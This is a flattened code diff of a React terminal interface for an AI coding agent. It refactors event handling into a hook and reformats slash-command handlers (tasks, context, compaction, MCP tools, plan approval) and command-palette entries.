// Processing-only events (normal message submission)
|
|
918
|
-
// -------------------------------------------------------------------------
|
|
919
|
-
if (mode === 'processing') {
|
|
920
|
-
if (event.type === 'plan.change.queued') {
|
|
921
|
-
const e = event;
|
|
922
|
-
const summary = e.summary ? `: ${e.summary}` : '';
|
|
923
|
-
const prefix = e.subagent ? `[${e.subagent} PLAN]` : '[PLAN]';
|
|
924
|
-
addMessage('system', `${prefix} Queued ${e.tool}${summary}`);
|
|
925
|
-
return;
|
|
926
|
-
}
|
|
927
|
-
if (event.type === 'plan.change.complete') {
|
|
928
|
-
const e = event;
|
|
929
|
-
if (e.error) {
|
|
930
|
-
addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} FAILED: ${e.error}`);
|
|
931
|
-
}
|
|
932
|
-
else if (e.tool === 'spawn_agent' && e.result) {
|
|
933
|
-
const output = typeof e.result === 'object' && e.result !== null && 'output' in e.result
|
|
934
|
-
? String(e.result.output)
|
|
935
|
-
: String(e.result);
|
|
936
|
-
const preview = output.length > 800 ? output.slice(0, 800) + '\n... (truncated)' : output;
|
|
937
|
-
addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} result:\n${preview}`);
|
|
938
|
-
}
|
|
939
|
-
else {
|
|
940
|
-
addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} completed`);
|
|
941
|
-
}
|
|
942
|
-
return;
|
|
943
|
-
}
|
|
944
|
-
if (event.type === 'cache.hit' && showThinking) {
|
|
945
|
-
const e = event;
|
|
946
|
-
addMessage('system', `[CACHE HIT] similarity: ${(e.similarity * 100).toFixed(0)}%`);
|
|
947
|
-
return;
|
|
948
|
-
}
|
|
949
|
-
if (event.type === 'cache.miss' && showThinking) {
|
|
950
|
-
addMessage('system', `[CACHE MISS]`);
|
|
951
|
-
return;
|
|
952
|
-
}
|
|
953
|
-
if (event.type === 'compaction.auto') {
|
|
954
|
-
const e = event;
|
|
955
|
-
const before = (e.tokensBefore / 1000).toFixed(1);
|
|
956
|
-
const after = (e.tokensAfter / 1000).toFixed(1);
|
|
957
|
-
addMessage('system', `[COMPACT] ${before}k -> ${after}k tokens (${e.messagesCompacted} messages)`);
|
|
958
|
-
return;
|
|
959
|
-
}
|
|
960
|
-
if (event.type === 'compaction.warning' && showThinking) {
|
|
961
|
-
const e = event;
|
|
962
|
-
const pct = Math.round((e.currentTokens / e.threshold) * 100);
|
|
963
|
-
addMessage('system', `[!] Context at ${pct}% of threshold`);
|
|
964
|
-
return;
|
|
965
|
-
}
|
|
966
|
-
}
|
|
967
|
-
}, [addMessage, showThinking]);
|
|
968
|
-
// Set up transparency aggregator and subscribe to agent events
|
|
969
|
-
useEffect(() => {
|
|
970
|
-
const aggregator = new TransparencyAggregator();
|
|
971
|
-
transparencyAggregatorRef.current = aggregator;
|
|
972
|
-
// Subscribe to state changes
|
|
973
|
-
const unsubscribeAggregator = aggregator.subscribe((state) => {
|
|
974
|
-
setTransparencyState(state);
|
|
975
|
-
});
|
|
976
|
-
// Subscribe to agent events
|
|
977
|
-
const unsubscribeAgent = agent.subscribe((event) => {
|
|
978
|
-
aggregator.processEvent(event);
|
|
979
|
-
handleAgentEvent(event); // Unified event handler for TUI display
|
|
980
|
-
});
|
|
981
|
-
return () => {
|
|
982
|
-
unsubscribeAggregator();
|
|
983
|
-
unsubscribeAgent();
|
|
984
|
-
};
|
|
985
|
-
}, [agent, handleAgentEvent]);
|
|
879
|
+
const transparencyAggregatorRef = useAgentEvents({
|
|
880
|
+
agent,
|
|
881
|
+
refs: { executionModeRef, showThinkingRef, debugExpandedRef },
|
|
882
|
+
setters: {
|
|
883
|
+
setStatusThrottled,
|
|
884
|
+
flushStatusThrottle,
|
|
885
|
+
setToolCalls,
|
|
886
|
+
setActiveAgents,
|
|
887
|
+
setTasks,
|
|
888
|
+
setSwarmStatus,
|
|
889
|
+
setTransparencyState,
|
|
890
|
+
},
|
|
891
|
+
addMessage,
|
|
892
|
+
debugBuffer,
|
|
893
|
+
});
|
|
986
894
|
// =========================================================================
|
|
987
895
|
// COMMAND HANDLER
|
|
988
896
|
// =========================================================================
|
|
@@ -1153,7 +1061,8 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1153
1061
|
addMessage('system', `Loading session: ${targetSession.id}\n Created: ${new Date(targetSession.createdAt).toLocaleString()}\n Messages: ${targetSession.messageCount}`);
|
|
1154
1062
|
// Try to load from checkpoint first
|
|
1155
1063
|
let loadCheckpointData;
|
|
1156
|
-
if ('loadLatestCheckpoint' in sessionStore &&
|
|
1064
|
+
if ('loadLatestCheckpoint' in sessionStore &&
|
|
1065
|
+
typeof sessionStore.loadLatestCheckpoint === 'function') {
|
|
1157
1066
|
const sqliteCheckpoint = sessionStore.loadLatestCheckpoint(targetSession.id);
|
|
1158
1067
|
if (sqliteCheckpoint?.state) {
|
|
1159
1068
|
loadCheckpointData = sqliteCheckpoint.state;
|
|
@@ -1200,23 +1109,31 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1200
1109
|
}
|
|
1201
1110
|
case 'tasks': {
|
|
1202
1111
|
// Filter out deleted tasks
|
|
1203
|
-
const visibleTasks = tasks.filter(t => t.status !== 'deleted');
|
|
1112
|
+
const visibleTasks = tasks.filter((t) => t.status !== 'deleted');
|
|
1204
1113
|
if (visibleTasks.length === 0) {
|
|
1205
1114
|
addMessage('system', 'No tasks. Tasks are created when the agent uses task_create tool.');
|
|
1206
1115
|
return;
|
|
1207
1116
|
}
|
|
1208
1117
|
// Count by status
|
|
1209
|
-
const pending = visibleTasks.filter(t => t.status === 'pending').length;
|
|
1210
|
-
const inProgress = visibleTasks.filter(t => t.status === 'in_progress').length;
|
|
1211
|
-
const completed = visibleTasks.filter(t => t.status === 'completed').length;
|
|
1118
|
+
const pending = visibleTasks.filter((t) => t.status === 'pending').length;
|
|
1119
|
+
const inProgress = visibleTasks.filter((t) => t.status === 'in_progress').length;
|
|
1120
|
+
const completed = visibleTasks.filter((t) => t.status === 'completed').length;
|
|
1212
1121
|
// Format task list
|
|
1213
|
-
const taskLines = visibleTasks.map(t => {
|
|
1214
|
-
const isBlocked = t.blockedBy.some(id => {
|
|
1215
|
-
const blocker = visibleTasks.find(bt => bt.id === id);
|
|
1122
|
+
const taskLines = visibleTasks.map((t) => {
|
|
1123
|
+
const isBlocked = t.blockedBy.some((id) => {
|
|
1124
|
+
const blocker = visibleTasks.find((bt) => bt.id === id);
|
|
1216
1125
|
return blocker && blocker.status !== 'completed';
|
|
1217
1126
|
});
|
|
1218
|
-
const icon = isBlocked
|
|
1219
|
-
|
|
1127
|
+
const icon = isBlocked
|
|
1128
|
+
? '◌'
|
|
1129
|
+
: t.status === 'completed'
|
|
1130
|
+
? '✓'
|
|
1131
|
+
: t.status === 'in_progress'
|
|
1132
|
+
? '●'
|
|
1133
|
+
: '○';
|
|
1134
|
+
const blockedInfo = isBlocked
|
|
1135
|
+
? ` (blocked by: ${t.blockedBy.slice(0, 2).join(', ')})`
|
|
1136
|
+
: '';
|
|
1220
1137
|
const activeInfo = t.status === 'in_progress' && t.activeForm ? `\n └ ${t.activeForm}...` : '';
|
|
1221
1138
|
return ` ${icon} ${t.id} ${t.subject}${blockedInfo}${activeInfo}`;
|
|
1222
1139
|
});
|
|
@@ -1241,13 +1158,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1241
1158
|
const agentToolTokens = agentTools.length * 150;
|
|
1242
1159
|
const convTokens = agentState.messages
|
|
1243
1160
|
.filter((m) => m.role !== 'system')
|
|
1244
|
-
.reduce((sum, m) => sum +
|
|
1161
|
+
.reduce((sum, m) => sum +
|
|
1162
|
+
estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
|
|
1245
1163
|
const totalTokens = systemTokens + mcpTokens + agentToolTokens + convTokens;
|
|
1246
1164
|
const contextLimit = agent.getMaxContextTokens();
|
|
1247
1165
|
const percent = Math.round((totalTokens / contextLimit) * 100);
|
|
1248
|
-
const bar = '='.repeat(Math.min(20, Math.round(percent / 5))) +
|
|
1166
|
+
const bar = '='.repeat(Math.min(20, Math.round(percent / 5))) +
|
|
1167
|
+
'-'.repeat(Math.max(0, 20 - Math.round(percent / 5)));
|
|
1249
1168
|
addMessage('system', [
|
|
1250
|
-
`Context (~${totalTokens.toLocaleString()} / ${
|
|
1169
|
+
`Context (~${totalTokens.toLocaleString()} / ${contextLimit / 1000}k)`,
|
|
1251
1170
|
` [${bar}] ${percent}%`,
|
|
1252
1171
|
` System: ~${systemTokens.toLocaleString()}`,
|
|
1253
1172
|
` Tools: ~${agentToolTokens.toLocaleString()} (${agentTools.length})`,
|
|
@@ -1265,7 +1184,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1265
1184
|
return;
|
|
1266
1185
|
}
|
|
1267
1186
|
setIsProcessing(true);
|
|
1268
|
-
setStatus(s => ({ ...s, mode: 'compacting' }));
|
|
1187
|
+
setStatus((s) => ({ ...s, mode: 'compacting' }));
|
|
1269
1188
|
const result = await compactor.compact(agentState.messages);
|
|
1270
1189
|
agent.loadMessages(result.preservedMessages);
|
|
1271
1190
|
addMessage('system', `Compacted: ${result.compactedCount + result.preservedMessages.length} -> ${result.preservedMessages.length} msgs`);
|
|
@@ -1274,7 +1193,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1274
1193
|
addMessage('error', e.message);
|
|
1275
1194
|
}
|
|
1276
1195
|
setIsProcessing(false);
|
|
1277
|
-
setStatus(s => ({ ...s, mode: 'ready' }));
|
|
1196
|
+
setStatus((s) => ({ ...s, mode: 'ready' }));
|
|
1278
1197
|
return;
|
|
1279
1198
|
case 'mcp': {
|
|
1280
1199
|
if (args[0] === 'tools') {
|
|
@@ -1284,7 +1203,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1284
1203
|
}
|
|
1285
1204
|
else {
|
|
1286
1205
|
const stats = mcpClient.getContextStats();
|
|
1287
|
-
addMessage('system', `MCP Tools (${stats.loadedCount}/${stats.totalTools}):\n${tools
|
|
1206
|
+
addMessage('system', `MCP Tools (${stats.loadedCount}/${stats.totalTools}):\n${tools
|
|
1207
|
+
.slice(0, 15)
|
|
1208
|
+
.map((t) => ` ${mcpClient.isToolLoaded(t.name) ? '[Y]' : '[ ]'} ${t.name}`)
|
|
1209
|
+
.join('\n')}`);
|
|
1288
1210
|
}
|
|
1289
1211
|
return;
|
|
1290
1212
|
}
|
|
@@ -1326,8 +1248,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1326
1248
|
...builtIn.slice(0, 10).map((t) => ` * ${t.name}`),
|
|
1327
1249
|
builtIn.length > 10 ? ` ... +${builtIn.length - 10}` : '',
|
|
1328
1250
|
`MCP (${mcpTools.length}):`,
|
|
1329
|
-
...(mcpTools.length > 0
|
|
1330
|
-
|
|
1251
|
+
...(mcpTools.length > 0
|
|
1252
|
+
? mcpTools.slice(0, 5).map((t) => ` * ${t.name}`)
|
|
1253
|
+
: [' (none)']),
|
|
1254
|
+
]
|
|
1255
|
+
.filter(Boolean)
|
|
1256
|
+
.join('\n'));
|
|
1331
1257
|
return;
|
|
1332
1258
|
}
|
|
1333
1259
|
case 'checkpoint':
|
|
@@ -1414,7 +1340,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1414
1340
|
addMessage('system', 'No threads.');
|
|
1415
1341
|
}
|
|
1416
1342
|
else {
|
|
1417
|
-
addMessage('system', 'Threads:\n' +
|
|
1343
|
+
addMessage('system', 'Threads:\n' +
|
|
1344
|
+
threads
|
|
1345
|
+
.map((t) => ` ${t.id}${t.name ? ` - ${t.name}` : ''} (${t.messages?.length || 0} msgs)`)
|
|
1346
|
+
.join('\n'));
|
|
1418
1347
|
}
|
|
1419
1348
|
}
|
|
1420
1349
|
catch (e) {
|
|
@@ -1450,12 +1379,14 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1450
1379
|
`Mode: ${modeInfo.icon} ${modeInfo.name}`,
|
|
1451
1380
|
hasPlan ? ` Pending: ${agent.getPendingChangeCount()} changes` : '',
|
|
1452
1381
|
agent.getAvailableModes(),
|
|
1453
|
-
]
|
|
1382
|
+
]
|
|
1383
|
+
.filter(Boolean)
|
|
1384
|
+
.join('\n'));
|
|
1454
1385
|
}
|
|
1455
1386
|
else {
|
|
1456
1387
|
agent.setMode(args[0].toLowerCase());
|
|
1457
1388
|
const modeInfo = agent.getModeInfo();
|
|
1458
|
-
setStatus(s => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
|
|
1389
|
+
setStatus((s) => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
|
|
1459
1390
|
addMessage('system', `Mode: ${modeInfo.icon} ${modeInfo.name}`);
|
|
1460
1391
|
}
|
|
1461
1392
|
return;
|
|
@@ -1463,7 +1394,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1463
1394
|
case 'plan': {
|
|
1464
1395
|
agent.togglePlanMode();
|
|
1465
1396
|
const modeInfo = agent.getModeInfo();
|
|
1466
|
-
setStatus(s => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
|
|
1397
|
+
setStatus((s) => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
|
|
1467
1398
|
addMessage('system', `Mode: ${modeInfo.icon} ${modeInfo.name}`);
|
|
1468
1399
|
if (modeInfo.name === 'Plan') {
|
|
1469
1400
|
addMessage('system', 'Plan Mode: writes are queued. /show-plan, /approve, /reject');
|
|
@@ -1487,7 +1418,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1487
1418
|
setIsProcessing(true);
|
|
1488
1419
|
executionModeRef.current = 'approving';
|
|
1489
1420
|
setExecutionMode('approving');
|
|
1490
|
-
setStatus(s => ({ ...s, mode: 'executing plan' }));
|
|
1421
|
+
setStatus((s) => ({ ...s, mode: 'executing plan' }));
|
|
1491
1422
|
try {
|
|
1492
1423
|
const count = args[0] ? parseInt(args[0], 10) : undefined;
|
|
1493
1424
|
const result = await agent.approvePlan(count);
|
|
@@ -1508,7 +1439,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1508
1439
|
if (agent.getMode() === 'plan') {
|
|
1509
1440
|
agent.setMode('build');
|
|
1510
1441
|
}
|
|
1511
|
-
setStatus(s => ({ ...s, mode: 'ready' }));
|
|
1442
|
+
setStatus((s) => ({ ...s, mode: 'ready' }));
|
|
1512
1443
|
}
|
|
1513
1444
|
return;
|
|
1514
1445
|
}
|
|
@@ -1521,7 +1452,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1521
1452
|
addMessage('system', '[X] Plan rejected');
|
|
1522
1453
|
if (agent.getMode() === 'plan') {
|
|
1523
1454
|
agent.setMode('build');
|
|
1524
|
-
setStatus(s => ({ ...s, mode: 'ready' }));
|
|
1455
|
+
setStatus((s) => ({ ...s, mode: 'ready' }));
|
|
1525
1456
|
}
|
|
1526
1457
|
return;
|
|
1527
1458
|
case 'theme': {
|
|
@@ -1634,7 +1565,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1634
1565
|
return;
|
|
1635
1566
|
}
|
|
1636
1567
|
setIsProcessing(true);
|
|
1637
|
-
setStatus(s => ({ ...s, mode: 'spawning' }));
|
|
1568
|
+
setStatus((s) => ({ ...s, mode: 'spawning' }));
|
|
1638
1569
|
try {
|
|
1639
1570
|
const [agentName, ...taskParts] = args;
|
|
1640
1571
|
const task = taskParts.join(' ');
|
|
@@ -1645,7 +1576,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1645
1576
|
addMessage('error', e.message);
|
|
1646
1577
|
}
|
|
1647
1578
|
setIsProcessing(false);
|
|
1648
|
-
setStatus(s => ({ ...s, mode: 'ready' }));
|
|
1579
|
+
setStatus((s) => ({ ...s, mode: 'ready' }));
|
|
1649
1580
|
return;
|
|
1650
1581
|
// Trace analysis commands
|
|
1651
1582
|
case 'trace': {
|
|
@@ -1727,7 +1658,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1727
1658
|
const { createTraceSummaryGenerator } = await import('../analysis/trace-summary.js');
|
|
1728
1659
|
const generator = createTraceSummaryGenerator(data);
|
|
1729
1660
|
const summary = generator.generate();
|
|
1730
|
-
const lines = [
|
|
1661
|
+
const lines = [
|
|
1662
|
+
'Efficiency Analysis:',
|
|
1663
|
+
'',
|
|
1664
|
+
`Anomalies Detected: ${summary.anomalies.length}`,
|
|
1665
|
+
];
|
|
1731
1666
|
if (summary.anomalies.length === 0) {
|
|
1732
1667
|
lines.push(' No significant issues detected.');
|
|
1733
1668
|
}
|
|
@@ -1844,18 +1779,38 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1844
1779
|
addMessage('system', `[ok] TypeScript compilation clean (${tscResult.duration}ms)`);
|
|
1845
1780
|
}
|
|
1846
1781
|
else {
|
|
1847
|
-
const summary = tscResult.errors
|
|
1848
|
-
.
|
|
1782
|
+
const summary = tscResult.errors
|
|
1783
|
+
.slice(0, 10)
|
|
1784
|
+
.map((e) => ` ${e.file}(${e.line},${e.column}): ${e.code} — ${e.message}`)
|
|
1849
1785
|
.join('\n');
|
|
1850
1786
|
addMessage('system', `[X] ${tscResult.errorCount} TypeScript error(s) (${tscResult.duration}ms):\n${summary}`);
|
|
1851
1787
|
}
|
|
1852
|
-
transparencyAggregatorRef.current?.processEvent({
|
|
1788
|
+
transparencyAggregatorRef.current?.processEvent({
|
|
1789
|
+
type: 'diagnostics.tsc-check',
|
|
1790
|
+
errorCount: tscResult.errorCount,
|
|
1791
|
+
duration: tscResult.duration,
|
|
1792
|
+
trigger: 'manual',
|
|
1793
|
+
});
|
|
1853
1794
|
return;
|
|
1854
1795
|
}
|
|
1855
1796
|
default:
|
|
1856
1797
|
addMessage('system', `Unknown: /${cmd}. Try /help`);
|
|
1857
1798
|
}
|
|
1858
|
-
}, [
|
|
1799
|
+
}, [
|
|
1800
|
+
addMessage,
|
|
1801
|
+
exit,
|
|
1802
|
+
agent,
|
|
1803
|
+
mcpClient,
|
|
1804
|
+
lspManager,
|
|
1805
|
+
sessionStore,
|
|
1806
|
+
compactor,
|
|
1807
|
+
model,
|
|
1808
|
+
currentThemeName,
|
|
1809
|
+
currentSessionId,
|
|
1810
|
+
formatSessionsTable,
|
|
1811
|
+
saveCheckpointToStore,
|
|
1812
|
+
persistPendingPlanToStore,
|
|
1813
|
+
]);
|
|
1859
1814
|
// =========================================================================
|
|
1860
1815
|
// SUBMIT HANDLER
|
|
1861
1816
|
// =========================================================================
|
|
@@ -1878,13 +1833,13 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1878
1833
|
setIsProcessing(true);
|
|
1879
1834
|
executionModeRef.current = 'processing';
|
|
1880
1835
|
setExecutionMode('processing');
|
|
1881
|
-
setStatus(s => ({ ...s, mode: 'thinking' }));
|
|
1836
|
+
setStatus((s) => ({ ...s, mode: 'thinking' }));
|
|
1882
1837
|
// Reset CPU time counter for per-prompt resource limits (prevents session-wide timeout)
|
|
1883
1838
|
agent.resetResourceTimer();
|
|
1884
1839
|
try {
|
|
1885
1840
|
const autoLoop = await runWithIncompleteAutoLoop(agent, trimmed, {
|
|
1886
1841
|
onRetry: (attempt, maxAttempts) => {
|
|
1887
|
-
setStatus(s => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
|
|
1842
|
+
setStatus((s) => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
|
|
1888
1843
|
addMessage('system', `[AUTO-LOOP] Retrying incomplete run (${attempt}/${maxAttempts})`);
|
|
1889
1844
|
},
|
|
1890
1845
|
});
|
|
@@ -1893,15 +1848,25 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1893
1848
|
const modeInfo = agent.getModeInfo();
|
|
1894
1849
|
const completion = result.completion;
|
|
1895
1850
|
const finalMode = completion.success
|
|
1896
|
-
?
|
|
1897
|
-
|
|
1851
|
+
? modeInfo.name === 'Plan'
|
|
1852
|
+
? 'ready (plan)'
|
|
1853
|
+
: 'ready'
|
|
1854
|
+
: completion.reason === 'open_tasks' ||
|
|
1855
|
+
completion.reason === 'future_intent' ||
|
|
1856
|
+
completion.reason === 'incomplete_action'
|
|
1898
1857
|
? 'incomplete'
|
|
1899
|
-
: 'failed'
|
|
1900
|
-
setStatus({
|
|
1858
|
+
: 'failed';
|
|
1859
|
+
setStatus({
|
|
1860
|
+
iter: metrics.llmCalls,
|
|
1861
|
+
tokens: metrics.totalTokens,
|
|
1862
|
+
cost: metrics.estimatedCost,
|
|
1863
|
+
mode: finalMode,
|
|
1864
|
+
});
|
|
1901
1865
|
// Calculate current context size (what's actually in the window now)
|
|
1902
1866
|
const agentState = agent.getState();
|
|
1903
1867
|
const estimateTokens = (str) => estimateTokenCount(str);
|
|
1904
|
-
const messageTokens = agentState.messages.reduce((sum, m) => sum +
|
|
1868
|
+
const messageTokens = agentState.messages.reduce((sum, m) => sum +
|
|
1869
|
+
estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
|
|
1905
1870
|
// Include system prompt overhead (codebase context, tools, rules)
|
|
1906
1871
|
const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
|
|
1907
1872
|
const currentContextTokens = messageTokens + systemPromptTokens;
|
|
@@ -1909,8 +1874,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1909
1874
|
const contextPct = Math.round((currentContextTokens / contextLimit) * 100);
|
|
1910
1875
|
const durationSec = (metrics.duration / 1000).toFixed(1);
|
|
1911
1876
|
// Format: Session total (cumulative cost) | Current context (compaction awareness)
|
|
1912
|
-
const sessionIn = metrics.inputTokens >= 1000
|
|
1913
|
-
|
|
1877
|
+
const sessionIn = metrics.inputTokens >= 1000
|
|
1878
|
+
? `${(metrics.inputTokens / 1000).toFixed(1)}k`
|
|
1879
|
+
: metrics.inputTokens.toLocaleString();
|
|
1880
|
+
const sessionOut = metrics.outputTokens >= 1000
|
|
1881
|
+
? `${(metrics.outputTokens / 1000).toFixed(1)}k`
|
|
1882
|
+
: metrics.outputTokens.toLocaleString();
|
|
1914
1883
|
const contextK = (currentContextTokens / 1000).toFixed(1);
|
|
1915
1884
|
const metricsLine = `\n---\nSession: ${sessionIn} in / ${sessionOut} out | Context: ${contextK}k/${contextLimit / 1000}k (${contextPct}%) | ${metrics.toolCalls} tools | ${durationSec}s`;
|
|
1916
1885
|
if (agent.hasPendingPlan()) {
|
|
@@ -1923,14 +1892,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1923
1892
|
}
|
|
1924
1893
|
}
|
|
1925
1894
|
else {
|
|
1926
|
-
const responseText =
|
|
1895
|
+
const responseText = result.response != null && result.response.length > 0
|
|
1927
1896
|
? result.response
|
|
1928
|
-
:
|
|
1897
|
+
: result.error || 'No response';
|
|
1929
1898
|
if (!result.success) {
|
|
1930
1899
|
if (result.completion.reason === 'open_tasks' && result.completion.openTasks) {
|
|
1931
1900
|
addMessage('system', `[INCOMPLETE] Open tasks remain: ${result.completion.openTasks.pending} pending, ${result.completion.openTasks.inProgress} in_progress, ${result.completion.openTasks.blocked} blocked`);
|
|
1932
1901
|
}
|
|
1933
|
-
else if (result.completion.reason === 'future_intent' ||
|
|
1902
|
+
else if (result.completion.reason === 'future_intent' ||
|
|
1903
|
+
result.completion.reason === 'incomplete_action') {
|
|
1934
1904
|
addMessage('system', `[INCOMPLETE] ${result.completion.details || 'Run ended with pending work.'}`);
|
|
1935
1905
|
}
|
|
1936
1906
|
addMessage('error', `[RUN FAILED] ${result.error || 'The agent did not complete this task successfully.'}`);
|
|
@@ -1965,36 +1935,156 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1965
1935
|
setIsProcessing(false);
|
|
1966
1936
|
setToolCalls([]);
|
|
1967
1937
|
}
|
|
1968
|
-
}, [
|
|
1938
|
+
}, [
|
|
1939
|
+
addMessage,
|
|
1940
|
+
handleCommand,
|
|
1941
|
+
agent,
|
|
1942
|
+
sessionStore,
|
|
1943
|
+
saveCheckpointToStore,
|
|
1944
|
+
persistenceDebug,
|
|
1945
|
+
persistPendingPlanToStore,
|
|
1946
|
+
finishExecutionMode,
|
|
1947
|
+
]);
|
|
1969
1948
|
// =========================================================================
|
|
1970
1949
|
// COMMAND PALETTE ITEMS
|
|
1971
1950
|
// =========================================================================
|
|
1972
1951
|
const commandPaletteItems = useMemo(() => [
|
|
1973
|
-
{
|
|
1974
|
-
|
|
1975
|
-
|
|
1976
|
-
|
|
1977
|
-
|
|
1978
|
-
|
|
1979
|
-
|
|
1980
|
-
{
|
|
1981
|
-
|
|
1982
|
-
|
|
1983
|
-
|
|
1984
|
-
|
|
1985
|
-
|
|
1986
|
-
|
|
1987
|
-
{
|
|
1988
|
-
|
|
1989
|
-
|
|
1990
|
-
|
|
1952
|
+
{
|
|
1953
|
+
id: 'help',
|
|
1954
|
+
label: 'Help',
|
|
1955
|
+
shortcut: '/help',
|
|
1956
|
+
category: 'General',
|
|
1957
|
+
action: () => handleCommand('help', []),
|
|
1958
|
+
},
|
|
1959
|
+
{
|
|
1960
|
+
id: 'status',
|
|
1961
|
+
label: 'Show Status',
|
|
1962
|
+
shortcut: '/status',
|
|
1963
|
+
category: 'General',
|
|
1964
|
+
action: () => handleCommand('status', []),
|
|
1965
|
+
},
|
|
1966
|
+
{
|
|
1967
|
+
id: 'clear',
|
|
1968
|
+
label: 'Clear Screen',
|
|
1969
|
+
shortcut: 'Ctrl+L',
|
|
1970
|
+
category: 'General',
|
|
1971
|
+
action: () => {
|
|
1972
|
+
setMessages([]);
|
|
1973
|
+
setToolCalls([]);
|
|
1974
|
+
},
|
|
1975
|
+
},
|
|
1976
|
+
{
|
|
1977
|
+
id: 'save',
|
|
1978
|
+
label: 'Save Session',
|
|
1979
|
+
shortcut: '/save',
|
|
1980
|
+
category: 'Sessions',
|
|
1981
|
+
action: () => handleCommand('save', []),
|
|
1982
|
+
},
|
|
1983
|
+
{
|
|
1984
|
+
id: 'sessions',
|
|
1985
|
+
label: 'List Sessions',
|
|
1986
|
+
shortcut: '/sessions',
|
|
1987
|
+
category: 'Sessions',
|
|
1988
|
+
action: () => handleCommand('sessions', []),
|
|
1989
|
+
},
|
|
1990
|
+
{
|
|
1991
|
+
id: 'load',
|
|
1992
|
+
label: 'Load Session',
|
|
1993
|
+
shortcut: '/load <id>',
|
|
1994
|
+
category: 'Sessions',
|
|
1995
|
+
action: () => handleCommand('sessions', []),
|
|
1996
|
+
}, // Shows sessions, user types /load <id>
|
|
1997
|
+
{
|
|
1998
|
+
id: 'context',
|
|
1999
|
+
label: 'Context Info',
|
|
2000
|
+
shortcut: '/context',
|
|
2001
|
+
category: 'Context',
|
|
2002
|
+
action: () => handleCommand('context', []),
|
|
2003
|
+
},
|
|
2004
|
+
{
|
|
2005
|
+
id: 'compact',
|
|
2006
|
+
label: 'Compact Context',
|
|
2007
|
+
shortcut: '/compact',
|
|
2008
|
+
category: 'Context',
|
|
2009
|
+
action: () => handleCommand('compact', []),
|
|
2010
|
+
},
|
|
2011
|
+
{
|
|
2012
|
+
id: 'mcp',
|
|
2013
|
+
label: 'MCP Servers',
|
|
2014
|
+
shortcut: '/mcp',
|
|
2015
|
+
category: 'MCP',
|
|
2016
|
+
action: () => handleCommand('mcp', []),
|
|
2017
|
+
},
|
|
2018
|
+
{
|
|
2019
|
+
id: 'mcp-tools',
|
|
2020
|
+
label: 'MCP Tools',
|
|
2021
|
+
shortcut: '/mcp tools',
|
|
2022
|
+
category: 'MCP',
|
|
2023
|
+
action: () => handleCommand('mcp', ['tools']),
|
|
2024
|
+
},
|
|
2025
|
+
{
|
|
2026
|
+
id: 'plan',
|
|
2027
|
+
label: 'Toggle Plan Mode',
|
|
2028
|
+
shortcut: '/plan',
|
|
2029
|
+
category: 'Plan',
|
|
2030
|
+
action: () => handleCommand('plan', []),
|
|
2031
|
+
},
|
|
2032
|
+
{
|
|
2033
|
+
id: 'show-plan',
|
|
2034
|
+
label: 'Show Plan',
|
|
2035
|
+
shortcut: '/show-plan',
|
|
2036
|
+
category: 'Plan',
|
|
2037
|
+
action: () => handleCommand('show-plan', []),
|
|
2038
|
+
},
|
|
2039
|
+
{
|
|
2040
|
+
id: 'approve',
|
|
2041
|
+
label: 'Approve Plan',
|
|
2042
|
+
shortcut: '/approve',
|
|
2043
|
+
category: 'Plan',
|
|
2044
|
+
action: () => handleCommand('approve', []),
|
|
2045
|
+
},
|
|
2046
|
+
{
|
|
2047
|
+
id: 'reject',
|
|
2048
|
+
label: 'Reject Plan',
|
|
2049
|
+
shortcut: '/reject',
|
|
2050
|
+
category: 'Plan',
|
|
2051
|
+
action: () => handleCommand('reject', []),
|
|
2052
|
+
},
|
|
2053
|
+
{
|
|
2054
|
+
id: 'tools',
|
|
2055
|
+
label: 'List Tools',
|
|
2056
|
+
shortcut: '/tools',
|
|
2057
|
+
category: 'Debug',
|
|
2058
|
+
action: () => handleCommand('tools', []),
|
|
2059
|
+
},
|
|
2060
|
+
{
|
|
2061
|
+
id: 'tsc',
|
|
2062
|
+
